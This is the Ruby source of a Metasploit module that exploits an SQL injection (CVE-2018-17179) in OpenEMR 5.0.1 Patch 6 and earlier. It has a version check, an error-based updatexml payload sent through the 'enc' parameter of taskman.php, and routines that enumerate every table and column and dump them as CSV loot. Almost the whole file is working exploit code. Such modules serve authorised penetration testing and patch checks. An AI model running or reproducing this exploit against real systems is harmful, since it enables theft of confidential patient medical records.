152 lines
4.6 KiB
Ruby
152 lines
4.6 KiB
Ruby
require 'csv'
|
|
|
|
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::SQLi
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
|
|
'Description' => '
|
|
This module exploits a SQLi vulnerability found in
|
|
OpenEMR version 5.0.1 Patch 6 and lower. The
|
|
vulnerability allows the contents of the entire
|
|
database (with exception of log and task tables) to be
|
|
extracted.
|
|
This module saves each table as a `.csv` file in your
|
|
loot directory and has been tested with
|
|
OpenEMR 5.0.1 (3).
|
|
',
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Will Porter <will.porter[at]lodestonesecurity.com>'
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-17179'],
|
|
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
|
|
],
|
|
'DisclosureDate' => '2019-05-17'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def uri
|
|
target_uri.path
|
|
end
|
|
|
|
def openemr_version
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'admin.php')
|
|
)
|
|
vprint_status("admin.php response code: #{res.code}")
|
|
document = Nokogiri::HTML(res.body)
|
|
document.css('tr')[1].css('td')[3].text
|
|
rescue StandardError
|
|
''
|
|
end
|
|
|
|
def check
|
|
# Check version
|
|
print_status('Trying to detect installed version')
|
|
version = openemr_version
|
|
return Exploit::CheckCode::Unknown if version.empty?
|
|
|
|
vprint_status("Version #{version} detected")
|
|
version.sub! ' (', '.'
|
|
version.sub! ')', ''
|
|
version.strip!
|
|
|
|
return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def get_response(payload)
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
|
|
'vars_get' => {
|
|
'action' => 'make_task',
|
|
'from_id' => '1',
|
|
'to_id' => '1',
|
|
'pid' => '1',
|
|
'doc_type' => '1',
|
|
'doc_id' => '1',
|
|
'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
|
|
}
|
|
)
|
|
end
|
|
|
|
def save_csv(data, table)
|
|
# Use the same gsub pattern as store_loot
|
|
# this will put the first 8 safe characters of the tablename
|
|
# in the filename in the loot directory
|
|
safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')
|
|
store_loot(
|
|
"openemr.#{safe_table}.dump",
|
|
'application/CSV',
|
|
rhost,
|
|
data.map(&:to_csv).join,
|
|
"#{safe_table}.csv"
|
|
)
|
|
end
|
|
|
|
def dump_all
|
|
sqli_opts = {
|
|
truncation_length: 31, # slices of 31 bytes of the query response are returned
|
|
encoder: :base64, # the web application messes up multibyte characters, better encode
|
|
verbose: datastore['VERBOSE']
|
|
}
|
|
sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
|
|
res = get_response(payload)
|
|
if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])
|
|
response
|
|
else
|
|
''
|
|
end
|
|
end
|
|
unless sqli.test_vulnerable
|
|
fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'
|
|
end
|
|
print_good 'The target seems vulnerable.'
|
|
db_version = sqli.version
|
|
print_status("DB Version: #{db_version}")
|
|
print_status('Enumerating tables, this may take a moment...')
|
|
tables = sqli.enum_table_names
|
|
num_tables = tables.length
|
|
print_status("Identified #{num_tables} tables.")
|
|
# These tables are impossible to fetch because they increase each request
|
|
skiptables = %w[form_taskman log log_comment_encrypt]
|
|
# large table containing text in different languages, >4mb in size
|
|
skiptables << 'lang_definitions'
|
|
tables.each_with_index do |table, i|
|
|
if skiptables.include?(table)
|
|
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
|
|
else
|
|
columns_of_table = sqli.enum_table_columns(table)
|
|
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")
|
|
table_data = sqli.dump_table_fields(table, columns_of_table)
|
|
table_data.unshift(columns_of_table)
|
|
save_csv(table_data, table)
|
|
end
|
|
end
|
|
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
|
|
end
|
|
|
|
def run
|
|
dump_all
|
|
end
|
|
end
|